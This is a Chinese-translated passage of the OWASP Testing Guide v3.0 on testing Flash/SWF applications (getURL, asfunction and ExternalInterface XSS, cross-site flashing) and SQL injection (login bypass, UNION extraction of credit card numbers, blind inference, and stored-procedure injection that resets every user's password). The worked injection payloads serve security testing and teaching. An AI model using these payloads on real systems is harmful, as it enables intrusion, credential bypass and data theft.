为 了 使 用 flare 破 解 SWF 文 件 , 请 输 入 :<br />

$ flare hello.swf<br />

这 将 会 产 生 名 为 hello.flr 的 新 文 件 。<br />

因 为 它 从 黑 盒 测 试 到 白 盒 测 试 , 反 编 译 可 以 在 测 试 过 程 中 提 供 一 些 帮 助 。<br />

ActionScript 3.0 目 前 没 有 免 费 破 解 版 。<br />

未 定 义 的 变 量<br />

由 于 URL 查 询 字 符 串 参 数 将 _root 或 _global 对 象 的 每 个 成 员 实 例 化 了 , 导 致 ActionScript 2 开 始 运 行 。 因 此 通 过 查 看<br />

每 个 属 于 _root 和 _global 对 象 的 未 定 义 属 性 , 可 以 得 到 ActionScript 2 的 入 口 点 。 这 意 味 着 , 如 果 下 面 的 属 性 :<br />

_root.varname<br />

导 致 代 码 流 中 某 个 点 “ 未 定 义 ”, 它 可 能 通 过 设 置 重 写<br />

http://victim/file.swf?varname=value<br />

209


例 如 :<br />

movieClip 328 __Packages.Locale {<br />

#initclip<br />

if (!_global.Locale) {<br />

var v1 = function (on_load) {<br />

var v5 = new XML();<br />

var v6 = this;<br />

v5.onLoad = function (success) {<br />

if (success) {<br />

trace('Locale loaded xml');<br />

var v3 = this.xliff.file.body.$trans_unit;<br />

var v2 = 0;<br />

while (v2 < v3.length) {<br />

Locale.strings[v3[v2]._resname] = v3[v2].source.__text;<br />

++v2;<br />

}<br />

on_load();<br />

} else {}<br />

};<br />

if (_root.language != undefined) {<br />

Locale.DEFAULT_LANG = _root.language;<br />

}<br />

v5.load(Locale.DEFAULT_LANG + '/player_' +<br />

Locale.DEFAULT_LANG + '.xml');<br />

};<br />

通 过 下 面 请 求 可 能 遭 受 攻 击 :<br />

http://victim/file.swf?language=http://evil<br />

不 安 全 的 方 法<br />

确 认 入 口 点 后 , 不 安 全 方 法 使 用 可 能 利 用 入 口 点 所 代 表 的 数 据 。 如 果 没 有 使 用 正 确 的 regexp 过 滤 或 验 证 数 据 将 会 产<br />

生 安 全 问 题 。<br />

版 本 r47 的 不 安 全 的 方 法 有 :<br />

loadVariables()<br />

loadMovie()<br />

getURL()<br />

loadMovie()<br />

loadMovieNum()<br />

FScrollPane.loadScrollContent()<br />

LoadVars.load<br />

LoadVars.send<br />

XML.load ( 'url' )<br />

LoadVars.load ( 'url' )<br />

Sound.loadSound( 'url' , isStreaming );<br />

NetStream.play( 'url' );<br />

flash.external.ExternalInterface.call(_root.callback)<br />

210


OWASP 测 试 指 南 v3.0<br />

htmlText<br />

测 试<br />

将 SWF 文 件 存 放 在 受 害 者 主 机 上 并 使 用 反 射 式 XSS 技 术 利 用 漏 洞 。 这 就 迫 使 浏 览 器 直 接 在 地 址 栏 中 加 载 一 个 纯 粹 的<br />

SWF 文 件 ( 由 复 位 向 或 社 会 工 程 学 ) 或 通 过 恶 意 网 页 的 iframe 加 载 :<br />

<br />

这 是 因 为 在 这 种 情 况 下 就 像 存 储 在 受 害 主 机 上 一 样 , 浏 览 器 将 自 动 产 生 HTML 网 页 。<br />

跨 站 脚 本<br />

GetURL:<br />

该 GetURL 功 能 让 movie 装 载 URI 进 入 浏 览 器 视 窗 。 因 此 , 如 果 getURL 中 使 用 未 定 义 变 量 作 为 第 一 个 参 数 :<br />

getURL(_root.URI,'_targetFrame');<br />

这 意 味 着 它 可 以 通 过 以 下 请 求 在 托 管 movie 的 相 同 的 域 名 中 调 用 JavaScript:<br />

http://victim/file.swf?URI=javascript:evilcode<br />

getURL('javascript:evilcode','_self');<br />

同 样 , 当 只 有 部 分 getURL 受 控 时 (Dom 注 入 和 Flash JavaScript 注 入 ) , 情 况 相 同 :<br />

getUrl('javascript:function('+_root.arg+'))<br />

asfunction:<br />

您 可 以 使 用 特 殊 asfunction 协 议 产 生 链 接 , 然 后 在 SWF 文 件 中 执 行 ActionScript 函 数 而 不 是 打 开 一 个 网 址 。<br />

( Adobe.com )。 释 放 Flash Player 的 r48 后 , 每 个 包 含 URL 作 为 参 数 的 方 法 都 能 使 用 asfunction。 这 就 意 味 着 , 测<br />

试 者 可 以 尝 试 注 入 :<br />

asfunction:getURL,javascript:evilcode<br />

in every unsafe method like:<br />

loadMovie(_root.URL)<br />

通 过 请 求 :<br />

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode<br />

ExternalInterface:<br />

ExternalInterface.call 是 Adobe 引 进 的 用 户 提 升 播 放 器 / 浏 览 器 交 互 功 能 的 静 态 方 法 。 从 安 全 角 度 来 看 , 当 控 制 了 其<br />

部 分 参 数 时 , 它 可 能 会 被 滥 用 :<br />

211


flash.external.ExternalInterface.call(_root.callback);<br />

这 种 漏 洞 的 攻 击 模 式 如 下 :<br />

eval(evilcode)<br />

而 浏 览 器 执 行 的 内 部 Java 语 言 类 似 于 :<br />

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { ""; }')<br />

HTML 注 入<br />

通 过 以 下 设 置 ,TextField 对 象 可 能 提 供 最 小 的 HTML :<br />

tf.html = true<br />

tf.htmlText = 'text'<br />

因 此 , 如 果 测 试 者 控 制 了 部 分 文 本 , 可 能 注 入 A 标 签 或 者 IMG 标 签 导 致 修 改 GUI 或 XSS 浏 览 器 。<br />

A 标 签 的 攻 击 案 例 如 下 :<br />

• 直 接 跨 站 脚 本 : <br />

• 呼 叫 的 功 能 : <br />

• 呼 叫 的 SWF 公 共 职 能 : <br />

• 呼 叫 本 地 固 定 的 功 能 : <br />

同 样 可 以 使 用 IMG 的 标 签 :<br />

<br />

(.swf is necessary to bypass flash player internal<br />

filter)<br />

注 : 虽 然 Flash Player 跨 站 脚 本 124 不 再 容 易 被 利 用 , 但 仍 然 能 修 改 GUI。<br />

Flash 跨 站 Cross Site Flashing<br />

Flash 跨 站 ( XSF ) 是 和 XSS 有 相 同 影 响 的 漏 洞 。<br />

XSF 发 生 在 不 同 域 名 中 :<br />

• 一 个 movie 使 用 loadmovie* 函 数 或 其 它 黑 客 技 术 加 载 另 一 个 movie, 并 进 入 同 一 个 沙 盒 或 其 中 一 部 分<br />

• 当 HTML 页 面 使 用 JavaScript 来 命 令 使 用 Adobe Flashmovie 时 也 可 能 发 生 XSF。 例 如 , 调 用 :<br />

212


OWASP 测 试 指 南 v3.0<br />

o GetVariable : 作 为 字 符 串 从 Javascript 进 入 flash 公 共 和 静 态 对 象 。<br />

o SetVariable : 从 Javascript 给 新 的 字 符 串 设 置 一 个 静 态 的 或 公 共 flash 对 象 。<br />

• 意 外 浏 览 器 的 swf 通 信 可 能 导 致 窃 取 swf 应 用 数 据 。<br />

通 过 迫 使 有 缺 陷 的 swf 装 载 外 部 恶 意 Flash 文 件 执 行 此 功 能 。<br />

这 种 攻 击 可 能 导 致 跨 站 脚 本 或 GUI 修 改 , 以 欺 骗 用 户 在 虚 假 的 flash 表 格 中 插 入 凭 据 。<br />

当 使 用 loadmovie* 方 法 时 , 可 以 在 Flash HTML 注 入 或 外 部 SWF 文 件 中 使 用 XSF。<br />

攻 击 和 Flash Player 版 本<br />

自 2007 年 5 月 ,Adobe 发 布 了 Flash Player 的 三 个 新 版 本 。 每 个 新 版 本 都 阻 止 了 以 前 描 述 的 攻 击 。<br />

| Attack | asfunction | ExternalInterface | GetURL | Html Injection |<br />

| Player Version |<br />

| v9.0 r47/48 | Yes | Yes | Yes | Yes |<br />

| v9.0 r115 | No | Yes | Yes | Yes |<br />

| v9.0 r124 | No | Yes | Yes | Partially |<br />

预 期 结 果 :<br />

跨 站 点 脚 本 和 跨 站 flash 是 有 缺 陷 的 SWF 文 件 的 预 期 结 果 。<br />

参 考<br />

白 皮 书<br />

• Testing Flash Applications: A new attack vector for XSS and XSFlashing:<br />

http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt<br />

• Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-<br />

WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt<br />

• Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html<br />

• Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html<br />

• The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html<br />

• The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf<br />

213


工 具<br />

• SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder<br />

• Decompiler – Flare: http://www.nowrap.de/flare.html<br />

• Compiler – MTASC: <br />

• Disassembler – Flasm: <br />

• Swfmill – Convert Swf to XML and vice versa: <br />

• Debugger Version of Flash Plugin/Player:


OWASP 测 试 指 南 v3.0<br />

• 外 部 渠 道 (OOB): 使 用 不 同 的 渠 道 获 取 数 据 ( 例 如 , 产 生 含 有 查 询 结 果 的 电 子 邮 件 并 发 送 到 测 试 者 ) 。<br />

• 推 理 : 没 有 实 际 传 输 数 据 , 但 通 过 发 送 特 定 请 求 并 观 察 数 据 库 服 务 器 的 结 果 行 为 , 测 试 者 能 够 获 得 信 息 。<br />

独 立 的 攻 击 阶 级 , 一 个 成 功 的 SQL 注 入 攻 击 需 要 攻 击 者 制 作 一 个 语 法 正 确 的 SQL 查 询 。 如 果 应 用 程 序 返 回 一 条 由 错<br />

误 查 询 产 生 的 错 误 信 息 , 那 幺 很 容 易 重 建 原 始 查 询 的 逻 辑 。 因 此 , 需 要 了 解 如 何 正 确 执 行 注 入 。 但 是 , 如 果 应 用 程<br />

序 隐 藏 的 错 误 详 细 信 息 , 那 幺 测 试 者 必 须 能 够 对 原 始 查 询 的 逻 辑 进 行 逆 向 工 程 。 后 一 种 情 况 称 为 “ 盲 SQL 注 入 ” 。<br />

黑 盒 测 试 实 例<br />

SQL 注 入 检 测<br />

测 试 的 第 一 步 是 掌 握 应 用 程 序 为 了 读 取 数 据 连 接 到 数 据 库 服 务 器 的 时 间 。 应 用 程 序 需 要 访 问 数 据 库 服 务 器 的 典 型 案<br />

例 包 括 :<br />

• 认 证 形 式 : 当 使 用 web 形 式 执 行 验 证 时 , 将 检 测 数 据 库 中 包 含 用 户 名 和 密 码 ( 或 者 hash 密 码 ) 的 用 户 凭 据<br />

• 搜 索 引 擎 :SQL 查 询 可 以 利 用 用 户 提 交 的 字 符 串 从 数 据 库 提 取 所 有 相 关 的 记 录<br />

• 电 子 商 务 网 站 : 产 品 及 其 特 点 ( 价 格 、 产 品 说 明 、 到 货 时 间 ... ) 很 可 能 存 储 在 一 个 关 系 数 据 库 中 。<br />

测 试 者 需 要 列 出 值 可 以 用 于 制 作 SQL 查 询 的 输 入 字 段 清 单 , 包 括 POST 请 求 隐 藏 字 段 。 然 后 对 他 们 进 行 逐 一 测 试 ,<br />

试 图 使 用 查 询 对 其 进 行 干 涉 并 产 生 错 误 。 第 一 个 测 试 通 常 包 括 给 测 试 的 字 段 增 加 一 个 单 引 号 ( ' ) 或 一 个 分 号<br />

( ; )。 单 引 号 是 用 在 SQL 中 作 为 一 个 字 符 串 终 止 符 。 如 果 应 用 程 序 没 有 将 其 过 滤 , 它 将 导 致 不 正 确 的 查 询 。 分 号<br />

是 用 于 终 止 SQL 语 句 。 如 果 没 有 将 其 过 滤 , 它 同 样 可 以 产 生 错 误 。 漏 洞 字 段 输 出 可 能 类 似 于 以 下 情 形 ( 例 如 , 在 微<br />

软 SQL Server 中 ) :<br />

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the<br />

character string ''.<br />

/target/target.asp, line 113<br />

同 时 也 评 论 ( - ) 和 其 它 的 SQL 关 键 字 , 如 ' AND ' 和 ' OR ' 可 以 用 来 修 改 查 询 。 一 个 非 常 简 单 但 有 时 仍 然 有 效 的 方 法<br />

就 是 在 预 期 数 字 处 插 入 一 个 字 符 串 , 会 产 生 类 似 下 面 的 错 误 :<br />

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br />

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the<br />

varchar value 'test' to a column of data type int.<br />

/target/target.asp, line 113<br />

215


类 似 上 面 例 子 中 的 完 整 的 错 误 信 息 给 测 试 者 提 供 了 丰 富 的 信 息 以 便 进 行 成 功 注 入 攻 击 。 然 而 , 应 用 程 序 往 往 不 提 供<br />

如 此 多 的 细 节 : 会 发 布 简 单 '500 Server Error ' 或 自 定 义 错 误 页 面 。 这 就 意 味 着 我 们 需 要 利 用 盲 目 注 射 技 术 。 在 任 何 情<br />

况 下 ,* 每 个 字 段 分 开 * 测 试 很 重 要 : 只 有 一 个 变 量 不 同 , 而 所 有 其 它 保 持 不 变 , 以 便 准 确 地 了 解 哪 些 参 数 是 脆 弱<br />

的 , 哪 些 是 没 有 。<br />

标 准 的 SQL 注 入 测 试<br />

考 虑 以 下 SQL 查 询 :<br />

SELECT * FROM Users WHERE Username='$username' AND Password='$password'<br />

一 般 从 Web 应 用 程 序 为 了 验 证 用 户 身 份 使 用 一 个 类 似 的 查 询 。 如 果 查 询 返 回 了 一 个 值 , 则 说 明 在 数 据 库 内 部 该 凭<br />

据 的 用 户 名 真 实 存 在 , 那 幺 用 户 可 以 登 录 到 该 系 统 。 否 则 就 会 访 问 拒 绝 。 输 入 字 段 的 值 通 常 是 通 过 wb 表 格 形 式 从<br />

用 户 处 获 得 的 。 假 设 我 们 插 入 以 下 的 用 户 名 和 密 码 值 :<br />

$username = 1' or '1' = '1<br />

$password = 1' or '1' = '1<br />

查 询 是 :<br />

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'<br />

如 果 我 们 假 设 的 参 数 值 通 过 GET 方 法 发 送 到 服 务 器 , 如 果 该 脆 弱 网 站 是 域 名 是 www.example.com , 那 幺 我 们 执 行<br />

的 请 求 是 :<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%2<br />

0'1<br />

经 过 简 单 分 析 , 我 们 注 意 到 因 为 条 件 是 真 的 ( 或 1 = 1 ), 该 查 询 返 回 一 个 值 ( 或 一 组 值 )。 这 样 , 系 统 在 不 知 道<br />

用 户 名 和 密 码 情 况 下 验 证 了 该 用 户 。<br />

在 一 些 系 统 中 用 户 表 第 一 行 是 管 理 员 用 户 。 在 某 些 情 况 下 可 能 返 回 一 个 配 置 文 件 。 另 一 个 例 子 查 询 如 下 :<br />

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))<br />

在 这 种 情 况 下 , 有 两 个 问 题 , 一 个 问 题 是 使 用 括 号 , 另 一 个 问 题 是 由 于 使 用 MD5hash 函 数 。 首 先 , 我 们 解 决 括 号 问<br />

题 。 在 获 得 正 确 的 查 询 之 前 仅 仅 使 用 一 些 闭 幕 括 号 。 解 决 第 二 个 问 题 就 是 让 第 二 个 条 件 无 效 。 我 们 将 终 止 符 加 入 到<br />

查 询 中 , 也 就 是 说 该 符 号 后 面 的 一 切 内 容 都 将 视 为 评 论 。 每 个 数 据 库 管 理 系 统 都 有 各 自 的 评 论 符 号 。 但 是 大 多 数 数<br />

据 库 使 用 的 共 同 符 号 是 /*。 在 Oracle 中 , 该 符 号 式 "--"。 这 说 明 我 们 使 用 的 用 户 名 和 密 码 的 值 为 :<br />

$username = 1' or '1' = '1'))/*<br />

$password = foo<br />

这 样 , 我 们 可 以 得 到 以 下 查 询 :<br />

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))<br />

216


OWASP 测 试 指 南 v3.0<br />

请 求 的 网 址 是 :<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo<br />

它 返 回 了 一 些 值 。 有 时 , 验 证 码 确 认 返 回 的 元 组 的 数 值 等 于 1 。 在 前 面 的 例 子 , 这 种 情 况 比 较 麻 烦 ( 在 数 据 库 中 每<br />

个 用 户 只 有 一 个 值 ) 。 解 决 这 个 问 题 的 办 法 是 插 入 SQL 命 令 规 定 返 回 的 元 组 数 值 必 须 是 1。 ( 返 回 一 个 记 录 ) 为 了<br />

实 现 这 一 目 标 , 我 们 使 用 operator”LIMIT ” , 其 中 是 希 望 返 回 的 元 组 数 值 。 前 面 的 例 子 中 , 用 户 名 和 密<br />

码 字 段 的 值 可 以 作 如 下 修 改 :<br />

$username = 1' or '1' = '1')) LIMIT 1/*<br />

$password = foo<br />

In this way, we create a request like the follow:<br />

这 样 , 我 们 创 建 一 个 请 求 , 如 下 :<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=fo<br />

o<br />

Union 查 询 SQL 注 入 测 试<br />

另 一 个 测 试 使 用 UNION 操 作 符 。 为 了 加 入 测 试 者 故 意 伪 造 的 查 询 , 在 SQL 注 入 中 使 用 该 operator 以 便 获 得 原 始 查<br />

询 。 这 样 伪 造 查 询 的 结 果 将 加 入 原 始 查 询 的 结 果 中 , 测 试 者 就 能 获 得 其 它 表 单 中 的 字 段 值 。 例 如 , 我 们 假 设 服 务 器<br />

执 行 的 查 询 如 下 :<br />

SELECT Name, Phone, Address FROM Users WHERE Id=$id<br />

设 置 以 下 ID 值 :<br />

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable<br />

得 到 以 下 查 询 :<br />

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM<br />

CreditCarTable<br />

这 将 和 所 有 信 用 卡 用 户 一 起 加 入 原 始 查 询 结 果 中 。 绕 开 使 用 DISTINCT 关 键 词 的 查 询 必 须 使 用 关 键 字 ALL。 此 外 , 我<br />

们 注 意 到 , 除 了 信 用 卡 账 号 外 , 我 们 已 选 定 的 其 它 两 个 值 。 这 两 个 值 也 是 必 要 的 。 因 为 为 了 避 免 语 法 错 误 , 这 两 个<br />

查 询 必 须 有 同 等 数 目 的 参 数 。<br />

盲 SQL 注 入 测 试<br />

我 们 已 经 指 出 还 有 另 外 一 个 SQL 注 入 类 别 , 即 盲 SQL 注 入 。 在 这 个 注 入 中 我 们 不 了 解 任 何 操 作 结 果 。 例 如 , 这 种 现<br />

象 发 生 的 情 况 是 程 序 员 创 造 了 一 个 不 会 在 查 询 结 构 或 数 据 库 中 显 示 任 何 数 据 的 自 定 义 错 误 页 面 。( 该 页 面 不 会 返 回<br />

一 个 SQL 错 误 。 它 可 能 仅 仅 返 回 一 个 HTTP 500 ) 。<br />

217


通 过 使 用 推 理 方 法 , 就 有 可 能 避 免 这 一 障 碍 , 从 而 成 功 地 获 得 一 些 期 望 字 段 的 值 。 这 种 方 法 包 括 在 服 务 器 进 行 一 系<br />

列 的 布 尔 查 询 、 观 测 的 答 案 、 并 最 终 推 导 答 案 的 含 义 。 同 以 往 一 样 , 我 们 使 用 www.example.com 域 名 。 假 设 该 域 名<br />

包 含 了 易 受 SQL 注 入 攻 击 的 名 为 ID 的 参 数 。 这 意 味 着 需 要 执 行 下 列 要 求 :<br />

http://www.example.com/index.php?id=1'<br />

由 于 查 询 中 语 法 错 误 , 我 们 将 得 到 自 定 义 信 息 错 误 网 页 。 假 设 在 服 务 器 上 执 行 下 面 查 询 :<br />

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'<br />

通 过 之 前 了 解 到 的 方 法 , 我 们 得 知 这 样 做 容 易 受 到 攻 击 。 我 们 所 希 望 获 得 的 是 用 户 名 字 段 的 值 。 我 们 将 执 行 相 关 测<br />

试 允 许 我 们 提 取 一 个 一 个 的 字 符 从 而 获 得 用 户 名 字 段 的 值 。 通 过 使 用 一 些 标 准 的 功 能 并 在 每 个 数 据 库 中 进 行 实 际 操<br />

作 可 能 能 达 到 这 一 目 的 。 在 我 们 的 案 例 中 , 我 们 将 使 用 伪 函 数 :<br />

SUBSTRING (text, start, length): 它 返 回 一 个 子 字 符 串 , 从 文 本 的 “start” 的 位 置 开 始 和 文 本 的 “length”。 如 果 “ 开<br />

始 ” 大 于 文 本 的 长 度 , 那 幺 该 函 数 返 回 一 个 空 值 。<br />

ASCII(char) : 它 返 回 输 入 字 符 的 ASCII 值 。 如 果 字 符 是 0, 那 幺 将 返 回 NULL 值 。<br />

LENGTH(text) : 它 返 回 输 入 文 本 字 符 的 长 度 。<br />

通 过 这 种 功 能 , 我 们 将 在 第 一 个 字 符 处 开 始 测 试 。 发 现 值 然 后 传 递 给 第 二 个 , 第 三 个 , 等 等 , 直 到 我 们 会 发 现 整 个<br />

值 。 该 测 试 将 利 用 SUBSTRING 函 数 一 次 选 择 一 个 字 符 ( 选 择 单 个 字 符 也 就 是 设 置 长 度 参 数 为 1) 并 利 用 ASCII 码 获<br />

得 ASCII 值 , 这 样 就 能 进 行 数 值 比 较 。 使 用 所 有 ASCII 表 的 值 进 行 结 果 比 较 , 直 到 找 到 正 确 的 值 。 例 如 , 使 用 下 面 的<br />

id 值 : :<br />

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1<br />

创 建 以 下 查 询 ( 从 现 在 起 , 我 们 将 称 之 为 “ 推 理 查 询 ” ) :<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97<br />

AND '1'='1'<br />

当 且 仅 当 用 户 名 字 段 的 第 一 个 字 符 等 于 ASCII 值 97 时 , 上 述 案 例 才 会 返 回 值 。 如 果 得 到 虚 假 值 , 那 幺 我 们 将 ASCII<br />

表 的 索 引 值 97 增 加 到 98 并 且 重 新 发 送 该 请 求 。 如 果 得 到 正 确 值 , 我 们 将 ASCII 码 表 的 索 引 值 设 为 0 并 分 析 下 一 个<br />

字 符 、 修 改 SUBSTRING 函 数 的 参 数 。 问 题 在 于 了 解 使 用 哪 一 种 方 法 可 以 从 返 回 的 错 误 值 中 区 分 正 确 值 。 因 此 我 们 创<br />

建 了 始 终 返 回 错 误 值 的 请 求 。 通 过 使 用 下 面 id 值 可 以 实 现 :<br />

$Id=1' AND '1' = '2<br />

将 创 建 以 下 查 询 :<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'<br />

218


OWASP 测 试 指 南 v3.0<br />

从 服 务 器 得 到 的 答 复 ( 即 HTML 代 码 ) 将 是 测 试 中 的 虚 假 值 。 这 种 做 法 能 让 我 们 确 认 执 行 推 理 查 询 得 到 的 值 是 否 等<br />

于 之 前 进 行 测 试 得 到 的 值 。 有 时 候 , 这 种 方 法 是 行 不 通 的 。 如 果 服 务 器 由 于 两 个 相 同 的 连 续 的 web 请 求 而 返 回 两 个<br />

不 同 的 网 页 , 我 们 将 无 法 从 错 误 值 中 区 分 正 确 的 值 。 在 这 种 特 定 情 况 下 , 有 必 要 使 用 特 殊 的 过 滤 器 , 使 我 们 能 够 清<br />

除 两 个 请 求 中 改 变 了 的 代 码 并 获 得 模 板 。 后 来 , 每 次 执 行 推 理 请 求 时 , 我 们 都 要 使 用 同 一 功 能 从 反 应 中 提 取 相 关 模<br />

板 并 为 了 确 定 测 试 结 果 而 控 制 两 个 模 板 。<br />

在 前 面 的 讨 论 中 , 我 们 还 没 有 确 定 测 试 的 终 止 条 件 , 即 , 结 束 推 理 过 程 。 实 现 这 一 情 况 的 方 法 是 使 用 SUBSTRING 函<br />

数 和 LENGTH 函 数 。 当 测 试 者 将 当 前 字 符 与 ASCII 码 0 ( 即 null 值 ) 比 较 并 返 回 真 实 值 时 , 使 用 推 理 程 序 ( 我 们 已 经<br />

扫 描 整 个 字 符 串 ) 或 使 用 分 析 值 都 可 能 包 含 null 字 符 串 。<br />

我 们 将 插 入 下 列 Id 字 符 串 值 ::<br />

$Id=1' AND LENGTH(username)=N AND '1' = '1<br />

其 中 n 是 我 们 当 前 已 分 析 的 字 符 数 值 ( 不 包 括 空 值 ) 。 查 询 是 :<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'<br />

该 查 询 将 返 回 TRUE 或 FALSE 。 如 果 返 回 TRUE, 那 幺 我 们 已 经 完 成 了 推 理 从 而 得 知 参 数 值 。 如 果 返 回 FALSE, 这 意<br />

味 着 参 数 值 中 存 在 空 字 符 。 因 此 我 们 必 须 继 续 分 析 下 一 个 参 数 直 到 我 们 找 到 另 一 空 值 。<br />

盲 SQL 注 入 攻 击 需 要 大 量 的 查 询 。 测 试 可 能 需 要 一 个 自 动 工 具 来 利 用 该 漏 洞 。 能 在 MySql 数 据 库 中 通 过 GET 请 求 能<br />

执 行 这 项 任 务 的 工 具 是 SqlDumper , 如 下 所 示 。<br />

预 存 程 序 注 入<br />

问 : 如 何 才 能 规 避 SQL 注 入 的 风 险<br />

219


答 : 存 储 过 程 。<br />

我 多 次 看 到 这 个 无 厘 头 的 答 案 。 仅 仅 使 用 存 储 过 程 并 不 能 缓 和 SQL 注 入 。 如 果 处 理 不 当 , 在 存 储 程 序 中 的 动 态 SQL<br />

可 以 和 网 页 中 的 动 态 SQL 一 样 容 易 受 到 攻 击 。<br />

当 在 存 储 过 程 中 使 用 动 态 SQL 时 , 应 用 程 序 必 须 妥 善 清 除 用 户 输 入 数 据 , 以 消 除 代 码 注 入 的 危 险 。 如 果 没 有 消 除 ,<br />

用 户 可 以 进 入 在 储 存 程 序 中 执 行 的 恶 意 SQL。<br />

黑 盒 测 试 利 用 SQL 注 入 损 害 制 度 。<br />

考 虑 以 下 SQL Server 存 储 程 序 :<br />

Create procedure user_login @username varchar(20), @passwd varchar(20) As<br />

Declare @sqlstring varchar(250)<br />

Set @sqlstring = ‘<br />

Select 1 from users<br />

Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd<br />

exec(@sqlstring)<br />

Go<br />

用 户 输 入 :<br />

anyusername or 1=1'<br />

anypassword<br />

这 一 程 序 不 能 清 除 输 入 , 会 导 致 返 回 值 使 用 这 些 参 数 显 示 当 前 记 录 。<br />

注 意 : 由 于 使 用 动 态 SQL 这 个 例 子 似 乎 不 大 可 能 登 录 用 户 , 但 可 以 使 用 动 态 报 告 查 询 。 其 中 用 户 所 选 择 列 进 行 查<br />

看 。 用 户 可 以 在 这 种 情 形 下 插 入 恶 意 代 码 并 损 坏 数 据 。<br />

考 虑 以 下 SQL Server 存 储 过 程 :<br />

Create procedure get_report @columnamelist varchar(7900) As<br />

Declare @sqlstring varchar(8000)<br />

Set @sqlstring = ‘<br />

Select ‘ + @columnamelist + ‘ from ReportTable‘<br />

exec(@sqlstring)<br />

Go<br />

用 户 输 入 :<br />

1 from users; update users set password = 'password'; select *<br />

这 将 导 致 运 行 报 告 并 更 新 所 有 用 户 的 密 码 。<br />

相 关 文 章<br />

220


OWASP 测 试 指 南 v3.0<br />

• OWASP TOP 10 2007 – 注 入 漏 洞<br />

• SQL 注 入<br />

创 建 下 列 数 据 库 管 理 系 统 的 具 体 测 试 技 术 指 南 :<br />

• 4.8.5.1 Oracle 测 试<br />

• 4.8.5.2 MySQL 测 试<br />

• 4.8.5.3 SQL Server 测 试<br />

• 4.8.5.4 MS Access 测 试<br />

• 4.8.5.5 PostgreSQL 测 试<br />

参 考<br />

白 皮 书<br />

• Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br />

• Chris Anley: "Advanced SQL Injection In SQL Server Applications" -<br />

http://www.nextgenss.com/papers/advanced_sql_injection.pdf<br />

• Chris Anley: "More Advanced SQL Injection" - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf<br />

• David Litchfield: "Data-mining with SQL Injection and Inference" -<br />

http://www.nextgenss.com/research/papers/sqlinference.pdf<br />

• Kevin Spett: "SQL Injection" - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf<br />

• Kevin Spett: "Blind SQL Injection" - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf<br />

• Imperva: "Blind SQL Injection" -<br />

http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html<br />

• Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/<br />

工 具<br />

• OWASP SQLiX<br />

• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]<br />

• ilo--: MySql Blind Injection Bruteforcing, Reversing.org - [sqlbftools]<br />

221


• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

• Antonio Parata: Dump Files by SQL inference on Mysql - [SqlDumper]<br />

• icesurfer: SQL Server Takeover Tool - [sqlninja]<br />

4.8.5.1 ORACLE 测 试<br />

摘 要<br />

本 节 描 述 如 何 从 web 测 试 一 个 Oracle 数 据 库 。<br />

问 题 描 述<br />

PL / SQL 网 关 使 用 基 于 Web 的 PL / SQL 应 用 程 序 —— 它 的 组 件 将 Web 请 求 转 换 成 数 据 库 查 询 。Oracle 已 经 开 发 了<br />

许 多 软 件 实 现 , 从 早 期 的 Web 侦 听 器 产 品 到 Apache mod_plsql 模 块 到 XML 数 据 库 ( XDB ) Web 服 务 器 。 所 有 产 品<br />

都 自 身 存 在 缺 陷 和 问 题 。 因 此 在 本 指 南 中 都 会 进 行 彻 底 调 查 。 使 用 PL / SQL 网 关 的 产 品 包 括 但 不 限 于 Oracle HTTP<br />

服 务 器 、eBusiness 套 件 、Portal、 HTMLDB 、WebDB 和 Oracle 应 用 服 务 器 。<br />

黑 盒 测 试 实 例<br />

了 解 PL / SQL 网 关 如 何 工 作<br />

从 本 质 上 来 说 , PL / SQL 网 关 只 是 作 为 一 个 代 理 服 务 器 获 取 用 户 的 Web 请 求 并 传 送 到 数 据 库 服 务 器 中 执 行 。<br />

1 ) Web 服 务 器 从 Web 客 户 端 接 受 请 求 并 确 定 是 否 应 该 由 PL / SQL 网 关 处 理<br />

2 ) PL / SQL 网 关 提 取 请 求 包 中 的 名 称 、 程 序 和 变 量 处 理 该 请 求<br />

